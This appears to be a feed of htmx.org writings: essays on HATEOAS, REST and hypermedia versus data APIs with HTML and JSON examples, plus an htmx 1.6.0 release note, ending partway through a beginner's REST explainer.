<p>The response contains following possible follow-up actions: navigate to a UI to enter a deposit, withdrawal, transfer, or to close request (to close the account).</p>
<p>Consider the situation at a later point, after the account has been overdrawn. Now, a different set of links are available due to this
account status change.</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Account number: 12345</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Balance: -$50.00 USD</</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">div</span><span>>Links:
</span><span> <</span><span style="color:#e06c75;">a </span><span style="color:#d19a66;">href</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>deposits</</span><span style="color:#e06c75;">a</span><span>>
</span><span> </</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>Only one link is available: to deposit more money. In the accounts current overdrawn state the other actions are not available, and
this fact is reflected internally in <em>the hypermedia</em>. The web browser does not know about the concept of an overdrawn account or,
indeed, even what an account is. It simply knows how to present hypermedia representations to a user.</p>
<p>Hence we have the notion of the Hypermedia being the Engine of Application State. What actions are possible varies as the
state of the resource varies and this information is encoded in the hypermedia.</p>
<p>Contrast the HTML response above with a typical JSON API which, instead, might return a representation of the account with a
status field:</p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>HTTP/</span><span style="color:#d19a66;">1.1 200</span><span> OK
</span><span>
</span><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">-50.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"status"</span><span>: </span><span style="color:#98c379;">"overdrawn"
</span><span> }
</span><span>}
</span></code></pre>
<p>Here we can see that the client must know specifically what the value of the <code>status</code> field means and how it might affect
the rendering of a user interface, and what actions can be taken with it. The client must also know what URLs must be used
for manipulation of this resource since they are not encoded in the response. This would typically be achieved by
consulting documentation for the JSON API.</p>
<p>It is this requirement of out-of-band information that distinguishes this JSON API from a RESTful API that implements
HATEOAS.</p>
<p>This shows the core difference between the two approaches: in the RESTful, HATEOAS HTML representation, all operations are encoded
directly in the response. In the JSON API example, out-of-band information is necessary for processing and working with
the remote resource.</p>
<h2 id="origins"><a class="zola-anchor" href="#origins" aria-label="Anchor link for: origins">#</a>Origins</h2>
<p>The HATEOAS constraint is an essential part of the <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface">“uniform interface”</a> feature of REST, as defined in Roy Fielding’s <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm">doctoral dissertation</a>. Fielding’s dissertation was a discussion of the
early web architecture, consisting mainly of HTML and HTTP at the time.</p>
<p>Fielding has further described the concept, and the crucial requirement of hypermedia, <a rel="noopener" target="_blank" href="https://roy.gbiv.com/untangled/2008/rest-apis-must-be-hypertext-driven">on his blog</a>.</p>
<h2 id="hateoas-and-json"><a class="zola-anchor" href="#hateoas-and-json" aria-label="Anchor link for: hateoas-and-json">#</a>HATEOAS and JSON</h2>
<p><em>NOTE: The Neutral Tone Of This Section is Disputed</em></p>
<p>In the early 2000s the concept of REST was appropriated from its initial conceptual environment as a description of the early web into other areas of web development: first XML API development (often using <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/SOAP">SOAP</a>) and then JSON API development. This, despite the fact that neither XML nor JSON was a natural hypermedia in the same manner as HTML.</p>
<p>In order to characterize different levels of adherence to REST in these new areas, <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Richardson_Maturity_Model">The Richardson Maturity Model</a> was proposed, consisting of various levels of “maturity” of APIs, with the highest level,
Level 3, consisting of “Hypermedia Controls”.</p>
<p>JSON is not a natural hypermedia and, therefore, hypermedia concepts can only be imposed on top of it. A JSON engineer
attempting to meet Level 3 of the Richardson Maturity Model might return the following JSON corresponding to the
bank account example above:</p>
<pre data-lang="json" style="background-color:#1f2329;color:#abb2bf;" class="language-json "><code class="language-json" data-lang="json"><span>HTTP/</span><span style="color:#d19a66;">1.1 200</span><span> OK
</span><span>
</span><span>{
</span><span> </span><span style="color:#98c379;">"account"</span><span>: {
</span><span> </span><span style="color:#98c379;">"account_number"</span><span>: </span><span style="color:#d19a66;">12345</span><span>,
</span><span> </span><span style="color:#98c379;">"balance"</span><span>: {
</span><span> </span><span style="color:#98c379;">"currency"</span><span>: </span><span style="color:#98c379;">"usd"</span><span>,
</span><span> </span><span style="color:#98c379;">"value"</span><span>: </span><span style="color:#d19a66;">100.00
</span><span> },
</span><span> </span><span style="color:#98c379;">"links"</span><span>: {
</span><span> </span><span style="color:#98c379;">"deposits"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>,
</span><span> </span><span style="color:#98c379;">"withdrawals"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/withdrawals"</span><span>,
</span><span> </span><span style="color:#98c379;">"transfers"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/transfers"</span><span>,
</span><span> </span><span style="color:#98c379;">"close-requests"</span><span>: </span><span style="color:#98c379;">"/accounts/12345/close-requests"
</span><span> }
</span><span> }
</span><span>}
</span></code></pre>
<p>Here, the “hypermedia controls” are encoded in a <code>links</code> property on the account object.</p>
<p>Unfortunately, the client of this API still needs to know quite a bit of additional information:</p>
<ul>
<li>What http methods can be used against these URLs?</li>
<li>Can it issue a <code>GET</code> to these URLs in order to get a representation of the mutation in question?</li>
<li>If it can <code>POST</code> to a given URL, what values are expected?</li>
</ul>
<p>Compare the above JSON with the following HTTP response, retrieved by a browser after a user has clicked on the
link to <code>/accounts/12345/deposits</code> found in the first HTML example:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span>HTTP/1.1 200 OK
</span><span>
</span><span><</span><span style="color:#e06c75;">html</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">method</span><span>=</span><span style="color:#98c379;">"post" </span><span style="color:#d19a66;">action</span><span>=</span><span style="color:#98c379;">"/accounts/12345/deposits"</span><span>>
</span><span> <</span><span style="color:#e06c75;">input </span><span style="color:#d19a66;">name</span><span>=</span><span style="color:#98c379;">"amount" </span><span style="color:#d19a66;">type</span><span>=</span><span style="color:#98c379;">"number" </span><span>/>
</span><span> <</span><span style="color:#e06c75;">button</span><span>>Submit</</span><span style="color:#e06c75;">button</span><span>>
</span><span> </</span><span style="color:#e06c75;">form</span><span>>
</span><span> <</span><span style="color:#e06c75;">body</span><span>>
</span><span></</span><span style="color:#e06c75;">html</span><span>>
</span></code></pre>
<p>Note that this HTML response encodes all the information necessary to update the account balance, providing a <code>form</code> with a <code>method</code>
and <code>action</code> attribute, as well as the inputs necessary for updating the resource correctly.</p>
<p>The JSON representation does not have the same self-contained “uniform interface” as the HTML representation does.</p>
<p>Labelling JSON APIs, no matter how far they stray from RESTful concepts, as ‘REST’ has lead Roy Fielding to say:</p>
<blockquote>
<p>I am getting frustrated by the number of people calling any HTTP-based interface a REST API. Today’s example is the SocialSite REST API. That is RPC. It screams RPC. There is so much coupling on display that it should be given an X rating.</p>
</blockquote>
<p>While attempts have been made to impose more elaborate hypermedia controls on JSON APIs, broadly the industry has rejected
this approach in favor of simpler RPC-style APIs that forego HATEOAS and other elements of the REST-ful architecture.</p>
<p>This fact is strong evidence for the assertion that a natural hypermedia such as HTML is a practical
necessity for building RESTful systems.</p>
<style>
.content {
font-family: 'Source Serif Pro', serif;
text-align: justify;
hyphens: auto;
margin-bottom: 3em;
}
.content h1 {
font-family: 'Lexend Zetta', Haettenschweiler, Impact, sans-serif;
margin: 16px;
font-size: min(10vw, 6em);
line-height: 1em;
margin-bottom: 5rem;
text-align: center;
}
.content section:after {
content: '< / >';
content: '< / >' / '';
display: block;
margin-bottom: 32px;
text-align: center;
color: #aaa;
font-weight: bold;
letter-spacing: .5em;
}
.content h2 {
font-size: 1em;
margin: 16px;
margin-top: 32px;
text-transform: uppercase;
letter-spacing: .1em;
text-align: center;
}
.content h2 em {
text-transform: none;
letter-spacing: 0;
}
.content a {
font-variant: all-small-caps;
letter-spacing: .08em;
font-weight: 600;
}
.content blockquote {
border: none;
font-style: italic;
font-size: 1.1em;
}
</style>
htmx 1.6.0 has been released!2021-10-02T00:00:00+00:002021-10-02T00:00:00+00:00Unknownhttps://htmx.org/posts/2021-10-02-htmx-1-6-0-is-released/<h2 id="htmx-1-6-0-release">htmx 1.6.0 Release</h2>
<p>I’m happy to announce the <a rel="noopener" target="_blank" href="https://unpkg.com/browse/htmx.org@1.6.0/">1.6.0 release</a> of htmx.</p>
<h3 id="new-features-major-changes">New Features & Major Changes</h3>
<ul>
<li>Completely reworked <code><script></code> tag support that now supports the <code><script src="...'/></code> form</li>
<li>You can now use the value <code>unset</code> to clear a property that would normally be inherited (e.g. hx-confirm)</li>
<li>The <code>htmx-added</code> class is added to new content before a swap and removed after the settle phase, which allows you
more flexibility in writing CSS transitions for added content (rather than relying on the target, as with <code>htmx-settling</code>)</li>
<li>The <code>htmx:beforeSwap</code> event has been updated to allow you to <a href="https://htmx.org/docs/#modifying_swapping_behavior_with_events">configure swapping</a>
behavior</li>
</ul>
<h3 id="improvements-bug-fixes">Improvements & Bug fixes</h3>
<ul>
<li>Improved <code><title></code> extraction support</li>
<li>You can listen to events on the <code>window</code> object using the <code>from:</code> modifier in <code>hx-trigger</code></li>
<li>The <code>root</code> option of the <code>intersect</code> event was fixed</li>
<li>Boosted forms respect the <code>enctype</code> declaration</li>
<li>The <code>HX-Boosted</code> header will be sent on requests from boosted elements</li>
<li>Promises are not returned from the main ajax function unless it is an api call (i.e. <code>htmx.ajax</code>)</li>
</ul>
<p>Enjoy!</p>
Splitting Your Data & Application APIs: Going Further2021-09-16T00:00:00+00:002022-02-06T00:00:00+00:00Unknownhttps://htmx.org/essays/splitting-your-apis/<p><strong>TLDR:</strong> If you split your API into Data and Application APIs, <a rel="noopener" target="_blank" href="https://max.engineer/server-informed-ui">as advocated here</a>,
you should consider changing your Application API from JSON to Hypermedia (HTML) & using a <em>hypermedia-oriented</em> library like
<a href="/">htmx</a> to reap the benefits of the hypermedia model (simplicity, reliability, flexibility, etc.)</p>
<h2 id="the-problem"><a class="zola-anchor" href="#the-problem" aria-label="Anchor link for: the-problem">#</a>The Problem</h2>
<p>Recently, <a rel="noopener" target="_blank" href="https://max.engineer/">Max Chernyak</a> wrote an essay entitled
<a rel="noopener" target="_blank" href="https://max.engineer/server-informed-ui">Don’t Build A General Purpose API To Power Your Own Front End</a>. His
TLDR is this:</p>
<blockquote>
<p>YAGNI, unless you’re working in a big company with federated front-ends or GraphQL.</p>
</blockquote>
<p>He then discusses some of the different needs of a general purpose API and your application API. He lists the
following as needs for a generic API:</p>
<div style="padding-left:64px">
<ol>
<li>How to predict and enable all possible workflows</li>
<li>How to avoid N+1 requests for awkward workflows</li>
<li>How to test functionality, performance, and security of every possible request</li>
<li>How to change the API without breaking the existing workflows</li>
<li>How to prioritize API changes between internal and community requirements</li>
<li>How to document everything so that all parties can get stuff done</li>
</ol>
</div>
<p>And these as application API needs:</p>
<div style="padding-left:64px">
<ol>
<li>How to collect all the data needed to render a page</li>
<li>How to optimize requests to multiple endpoints</li>
<li>How to avoid using API data fields in unintended ways</li>
<li>How to weigh the benefit of new features against the cost of new API requests</li>
</ol>
</div>
<p>I will term this misalignment of needs the <strong>Data/App API Impedance Mismatch</strong> problem.</p>
<p>Max’s recommendation is to split the API into two “halves”: a generic API and an application API:</p>
<blockquote>
<p>I suggest you stop treating your frontend as some generic API client, and start treating it as a half of your app.</p>
<p>Imagine if you could just send it the whole “page” worth of JSON. Make an endpoint for <code>/page/a</code> and render the whole JSON for <code>/page/a</code> there.
Do this for every page. Don’t force your front-end developers to send a bunch of individual requests to render a complex page.
Stop annoying them with contrived limitations. Align yourselves.</p>
</blockquote>
<h2 id="right-about-what-s-wrong"><a class="zola-anchor" href="#right-about-what-s-wrong" aria-label="Anchor link for: right-about-what-s-wrong">#</a>Right about What’s Wrong</h2>
<p>I agree entirely with Max on the problem here.</p>
<p>I would particularly emphasise the fact that the generic API needs to be stable, whereas the application API must change
rapidly to address application needs.</p>
<p>Jean-Jacques Dubray, in <a rel="noopener" target="_blank" href="https://www.infoq.com/articles/no-more-mvc-frameworks/">this article</a> relates the following sad state of affairs for
API designers:</p>
<blockquote>
<p>The worst part of my job these days is designing APIs for front-end developers. The conversation goes inevitably as: </p>
<p>Dev – So, this screen has data element x,y,z… could you please create an API with the response format {x: , y:, z: }</p>
<p>Me – Ok</p>
</blockquote>
<p>This is a perfect encapsulation of the tension that Max has noticed, where API engineers want to design general,
stable APIs, but are subject to the whims of a quickly-changing UI with complex data needs that are often best
solved on <em>the server side</em>.</p>
<p>As Max points out:</p>
<blockquote>
<p>You can keep “page a” dumb to only do what it needs to do. You test the crap out of “page a” for bugs, security, performance. You can even fetch everything for “page a” in a single big SQL query.</p>
</blockquote>
<h2 id="wrong-about-what-s-right"><a class="zola-anchor" href="#wrong-about-what-s-right" aria-label="Anchor link for: wrong-about-what-s-right">#</a>Wrong about What’s Right</h2>
<p>So, again, I agree entirely with Max that there is a Data/App API Impedance Mismatch problem and I applaud him for suggesting
that, rather than bailing out to a solution to like GraphQL, you split the APIs into two.</p>
<p>However, there is a <strong>next step</strong> to take:</p>
<p>Once you have split your application API from your generic data API, <em>you are no longer bound by the constraints of
a public data API</em> and are free to reconsider the <em>entire form</em> of that application API. We can do whatever we’d like with
it, so let’s get a bit expansive in our thinking.</p>
<p>Note that core problems with the application API are rapid change and page (or resource) specific tuning. It turns out that we
have a very good technology for dealing with <em>exactly</em> this problem: <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Hypermedia">Hypermedia</a>!</p>
<p>Hypermedia, by way of HATEOAS, makes API churn <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">much less of a problem</a>. When you change the shape of your hypermedia API, well,
that’s fine: the <em>new</em> API is simply reflected in the <em>new</em> HTML returned by the server. You can add and modify end points
and, lo and behold (to a first order of approximation) your clients (that is, browsers) don’t need to be updated.</p>
<p>The browsers simply see the new HTML, and <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html">the humans driving them react to the new functionality appropriately</a>.</p>
<p>So, while I feel Max is on the right track, I also think he <em>doesn’t go far enough</em>: once you have made the mental
jump to solving the Data/APP API Impedance Mismatch problem by splitting the two into separate concerns, it is only a
bit further down the road to rediscovering the advantages of hypermedia.</p>
<p>You may object that: “Oh, but hypermedia applications aren’t very usable, we don’t want to go back to web 1.0.”</p>
<p>That is a perfectly reasonable objection, but people have been working on that problem and there are now many libraries
available that address the usability issues of HTML <em>within the hypermedia model</em>.</p>
<p>Two of my favorites are <a rel="noopener" target="_blank" href="https://unpoly.com/">unpoly</a> and, of course, my own <a href="/">htmx</a>.</p>
<h2 id="in-conclusion"><a class="zola-anchor" href="#in-conclusion" aria-label="Anchor link for: in-conclusion">#</a>In Conclusion</h2>
<p>If you switch to a hypermedia application API (which really just means “use HTML, like you used to”) then you get all
of the benefits of the REST-ful web model (simplicity, reliability, etc.) and of server-side rendering in mature web frameworks
(caching, SQL tuning, etc.)</p>
<p>And, by choosing a hypermedia-oriented front end technology like htmx, you can create <a href="/examples">excellent user experiences</a> within
that model.</p>
<p>Everything old is new again, but, this time, a little bit better.</p>
Hypermedia APIs vs. Data APIs2021-07-17T00:00:00+00:002022-04-07T00:00:00+00:00Unknownhttps://htmx.org/essays/hypermedia-apis-vs-data-apis/<p>A <em>hypermedia</em> API is an API that returns <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Hypermedia">hypermedia</a>, typically HTML over
HTTP. This style of API is distinguished from data APIs that do not return a hypermedia. The most familiar form of this
latter style of API today is the ubiquitous JSON API.</p>
<p>These two different types of API have distinctly different design needs and, therefore, should use different design
constraints and adopt different goals when being created.</p>
<p>Hypermedia APIs:</p>
<ul>
<li>Will be trivially <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer">REST-ful</a>, since they are simply what <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">Roy Fielding was describing</a>.</li>
<li>Should be driven by the needs of the underlying hypermedia application</li>
<li>May change dramatically <em>without</em> versioning information, because hypermedia utilizes <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Representational_state_transfer#Uniform_interface">self describing messages</a> </li>
<li>Should be passed directly to humans, to maximize the flexibility of the system</li>
</ul>
<p>Data APIs, on the other hand:</p>
<ul>
<li>Will not benefit dramatically from REST-fulness, beyond perhaps <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Richardson_Maturity_Model">Level 2 of the Richardson Maturity Model</a></li>
<li>Should strive for both regularity and expressiveness due to the arbitrary data needs of consumers</li>
<li>Should be versioned and should be very stable within a particular version of the API</li>
<li>Should be consumed by code, processed and then potentially presented to a human</li>
</ul>
<h2 id="apis-today"><a class="zola-anchor" href="#apis-today" aria-label="Anchor link for: apis-today">#</a>APIs Today</h2>
<p>Today, APIs are typically thought of in terms of JSON-over-HTTP. These are almost always data-oriented APIs rather
than hypermedia APIs, although occasionally hypermedia concepts are incorporated into them (typically to
little benefit of the end users.) There has been a <a rel="noopener" target="_blank" href="https://graphql.org/">movement away</a> from REST-ful APIs as the industry has begun
to <a rel="noopener" target="_blank" href="https://kieranpotts.com/rebranding-rest/">recognize the problems with fitting data APIs into the REST-ful model.</a></p>
<p>This is a good thing: the industry should question REST-ful ideas in the Data API world and begin looking at older client-server
technologies that did a better job of servicing that particular network architecture, leaving REST instead to the network architecture
that it was coined to describe: hypermedia APIs.</p>
<h2 id="designing-a-hypermedia-api"><a class="zola-anchor" href="#designing-a-hypermedia-api" aria-label="Anchor link for: designing-a-hypermedia-api">#</a>Designing a Hypermedia API</h2>
<p>To show how a hypermedia API might be designed differently than a data API, let’s consider the following situation,
which came up on the <a href="/discord">htmx discord</a> recently:</p>
<blockquote>
<p>I want a page with a form and a table on it. The form will add new elements to the table, and the table will also be
polling every 30 seconds so that updates from other users are shown.</p>
</blockquote>
<p>Let’s consider this UI in terms of a base url, <code>/contacts</code></p>
<p>The first thing we will need is an end point to retrieve the form and the table of current contacts. This will
live at <code>/contacts</code>, giving:</p>
<pre data-lang="txt" style="background-color:#1f2329;color:#abb2bf;" class="language-txt "><code class="language-txt" data-lang="txt"><span> GET /contacts -> render the form & contacts table
</span></code></pre>
<p>Next, we want to be able to create contacts. This would be done via a POST to the same URL:</p>
<pre data-lang="txt" style="background-color:#1f2329;color:#abb2bf;" class="language-txt "><code class="language-txt" data-lang="txt"><span> GET /contacts -> render the form & contacts table
</span><span> POST /contacts -> create the new contact, redirect to GET /contacts
</span></code></pre>
<p>with HTML that looks something like this:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">action</span><span>=</span><span style="color:#98c379;">'/contacts' </span><span style="color:#d19a66;">method</span><span>=</span><span style="color:#98c379;">"post"</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- form for adding contacts -->
</span><span> </</span><span style="color:#e06c75;">form</span><span>>
</span><span> <</span><span style="color:#e06c75;">table</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- contacts table -->
</span><span> </</span><span style="color:#e06c75;">table</span><span>>
</span><span></</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>So far, so standard web 1.0 application, and thus far the data-API and hypermedia API needs haven’t diverged very much,
although it is worth noteing that the hypermedia API is <em>self describing</em> and could be modified (say, changing the URL for creating
contacts) without breaking the hypermedia application.</p>
<p>Now we get to the part where htmx is needed: polling the server for updates to the table occasionally. To do this
we will add a new end point, <code>/contacts/table</code>, which renders only the table of contacts:</p>
<pre data-lang="txt" style="background-color:#1f2329;color:#abb2bf;" class="language-txt "><code class="language-txt" data-lang="txt"><span> GET /contacts -> render the form & contacts table
</span><span> POST /contacts -> create the new contact, redirect to GET /contacts
</span><span> GET /contacts/table -> render the contacts table
</span></code></pre>
<p>and then add a poll trigger to the table:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">action</span><span>=</span><span style="color:#98c379;">'/contacts' </span><span style="color:#d19a66;">method</span><span>=</span><span style="color:#98c379;">"post"</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- form for adding contacts -->
</span><span> </</span><span style="color:#e06c75;">form</span><span>>
</span><span> <</span><span style="color:#e06c75;">table </span><span style="color:#d19a66;">hx-trigger</span><span>=</span><span style="color:#98c379;">"every 30s" </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/contacts/table" </span><span style="color:#d19a66;">hx-swap</span><span>=</span><span style="color:#98c379;">"outerHTML"</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- contacts table -->
</span><span> </</span><span style="color:#e06c75;">table</span><span>>
</span><span></</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>Here we see the hypermedia API and data API begin to diverge. This new end point is driven entirely by hypermedia
needs, not data model needs. This end point can go away if the hypermedia needs of the application change; its form may change
dramatically and so on, which is entirely acceptable since the system is self-describing.</p>
<p>Since we have updated the HTML to use htmx for polling, we may as well make the form use htmx as well for a better
UX experience:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">div</span><span>>
</span><span> <</span><span style="color:#e06c75;">form </span><span style="color:#d19a66;">action</span><span>=</span><span style="color:#98c379;">'/contacts' </span><span style="color:#d19a66;">method</span><span>=</span><span style="color:#98c379;">"post" </span><span style="color:#d19a66;">hx-boost</span><span>=</span><span style="color:#98c379;">"true"</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- form for adding contacts -->
</span><span> </</span><span style="color:#e06c75;">form</span><span>>
</span><span> <</span><span style="color:#e06c75;">table </span><span style="color:#d19a66;">hx-trigger</span><span>=</span><span style="color:#98c379;">"every 30s" </span><span style="color:#d19a66;">hx-get</span><span>=</span><span style="color:#98c379;">"/contacts/table" </span><span style="color:#d19a66;">hx-swap</span><span>=</span><span style="color:#98c379;">"outerHTML"</span><span>>
</span><span> </span><span style="font-style:italic;color:#848da1;"><!-- contacts table -->
</span><span> </</span><span style="color:#e06c75;">table</span><span>>
</span><span></</span><span style="color:#e06c75;">div</span><span>>
</span></code></pre>
<p>We can, if we choose, add additional end points for things like server-side validation of inputs, dynamic forms and
so forth. These end points would be driven by <em>hypermedia needs</em> rather than any sort of data model considerations:
we think in terms of what we are trying to achieve with our application.</p>
<h2 id="api-churn"><a class="zola-anchor" href="#api-churn" aria-label="Anchor link for: api-churn">#</a>API Churn</h2>
<p>The crux point of this short essay is this: API churn is fine in a hypermedia system because <em>the messages in a hypermedia system are self-describing</em>.
We can thrash the API around and the application doesn’t break: human users simply see the new hypermedia (HTML) and select what
actions they want to do.</p>
<p>Humans, compared with computers, are <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/05/08/hatoeas-is-for-humans.html">good at deciding what to do</a>
and are reasonably OK with change.</p>
<p>This is in contrast with data APIs. Data APIs cannot be modified without breaking client code and thus must be much
more disciplined in their changes. Data APIs also face pressure to provide higher levels of expressiveness so that they
can satisfy more client needs without modification.</p>
<aside>
<p><em>This latter situation is <a rel="noopener" target="_blank" href="https://intercoolerjs.org/2016/02/17/api-churn-vs-security.html">especially dangerous</a> when these data APIs are consumed in a browser, because any data-api expressiveness available to a front-end developer is also available to a potentially hostile user, who can fire up a console and begin hammering away at the API. Apparently, facebook uses a <a rel="noopener" target="_blank" href="https://twitter.com/AdamChainz/status/1392162996844212232">whitelist</a> to deal with this.</em></p>
<p><em>Do you?</em></p>
</aside>
<h2 id="conclusion"><a class="zola-anchor" href="#conclusion" aria-label="Anchor link for: conclusion">#</a>Conclusion</h2>
<p>When designing a hypermedia API, you should use a different design mindset than you use for data APIs. Churn is
much less of a concern, and providing the end points you need for a good hypermedia experience should be your primary goal.</p>
REST - Explained For Beginners2021-07-13T00:00:00+00:002022-02-06T00:00:00+00:00Unknownhttps://htmx.org/essays/rest-explained/<p>There is no topic that generates more confusion in web development than the idea of Representational State Transfer,
known as REST. This term comes from <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm">Chapter 5</a>
of <a rel="noopener" target="_blank" href="https://en.wikipedia.org/wiki/Roy_Fielding">Roy Fielding’s</a> PhD thesis at <a rel="noopener" target="_blank" href="https://www.uci.edu/">U.C. Irvine</a>.</p>
<p>In this essay we will go through this Chapter and summarize the important concepts for non-academic web developers. The
thesis is dense and involves a lot of technical jargon that isn’t relevant to people who aren’t academics interested
in formal PhD thesis writing.</p>
<p>By the end of this essay you should have a better handle on REST, and the concept of a
<a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">Uniform Interface</a> in particular.</p>
<h2 id="overview"><a class="zola-anchor" href="#overview" aria-label="Anchor link for: overview">#</a>Overview</h2>
<p>The first thing to understand about REST is that <em>it is a description of the original web</em>. Fielding describes REST as an
“architectural style for distributed hypermedia systems”, which sounds fancy but just means the web we all know and love:
clicking on hyperlinks, submitting forms, looking at images, reading paragraphs and all that jazz.</p>
<p>It was <em>NOT</em> created as a description of a particular approach for JSON APIs, although that is the context
that most people hear about REST today in. Fielding was describing the early web and, in particular, how it was different
from earlier client/server architectures.</p>
<h2 id="section-5-1-deriving-rest"><a class="zola-anchor" href="#section-5-1-deriving-rest" aria-label="Anchor link for: section-5-1-deriving-rest">#</a>Section 5.1 Deriving Rest</h2>
<p>In <a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1">section 5.1</a>, unfortunately for
non-academics, Fielding adopts the technique of deriving REST from first principles. Here I will summarize each section
and clarify and add context in the important ones.</p>
<h3 id="client-server"><a class="zola-anchor" href="#client-server" aria-label="Anchor link for: client-server">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_2">Client Server</a></h3>
<p>REST is, of course, a client-server architecture, since the web is a client (browser) server (http server) system.</p>
<h3 id="stateless"><a class="zola-anchor" href="#stateless" aria-label="Anchor link for: stateless">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_3">Stateless</a></h3>
<p>The web, most developers know, is intended to be stateless. All requests should encapsulate all information necessary
to understand that request. For example, there should not be a long running transaction implicitly associated with a series
of requests, as you might have with a SQL database session.</p>
<h3 id="cache"><a class="zola-anchor" href="#cache" aria-label="Anchor link for: cache">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_4">Cache</a></h3>
<p>HTTP, you probably know, has a <a rel="noopener" target="_blank" href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching">caching mechanism</a> built into
it. You don’t need to know the details of this now, but may explore it later.</p>
<h3 id="uniform-interface"><a class="zola-anchor" href="#uniform-interface" aria-label="Anchor link for: uniform-interface">#</a><a rel="noopener" target="_blank" href="https://www.ics.uci.edu/~fielding/pubs/dissertation/rest_arch_style.htm#sec_5_1_5">Uniform Interface</a></h3>
<p>This section, in my mind, is the crux of the REST architecture and, unfortunately, is very brief, so we will spend some
time expanding on it, rather that just summarizing it. The chapter begins:</p>
<blockquote>
<p>The central feature that distinguishes the REST architectural style from other network-based styles
is its emphasis on a uniform interface between components </p>
</blockquote>
<p>To clarify the discussion around exactly what the uniform interface is, let’s consider some simple HTML that I hope
everyone reading this will understand:</p>
<pre data-lang="html" style="background-color:#1f2329;color:#abb2bf;" class="language-html "><code class="language-html" data-lang="html"><span><</span><span style="color:#e06c75;">html
</span><span> </span><span style="background-color:#f2777a;color:#272b33;"><</span><span style="color:#d19a66;">body</span><span>>
</span><span> <</span><span style="color:#e06c75;">section</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>
</span><span> Name: Joe Blow
</span><span> </</span><span style="color:#e06c75;">p</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>
</span><span> Email: joe@blow.com
</span><span> </</span><span style="color:#e06c75;">p</span><span>>
</span><span> <</span><span style="color:#e06c75;">p</span><span>>
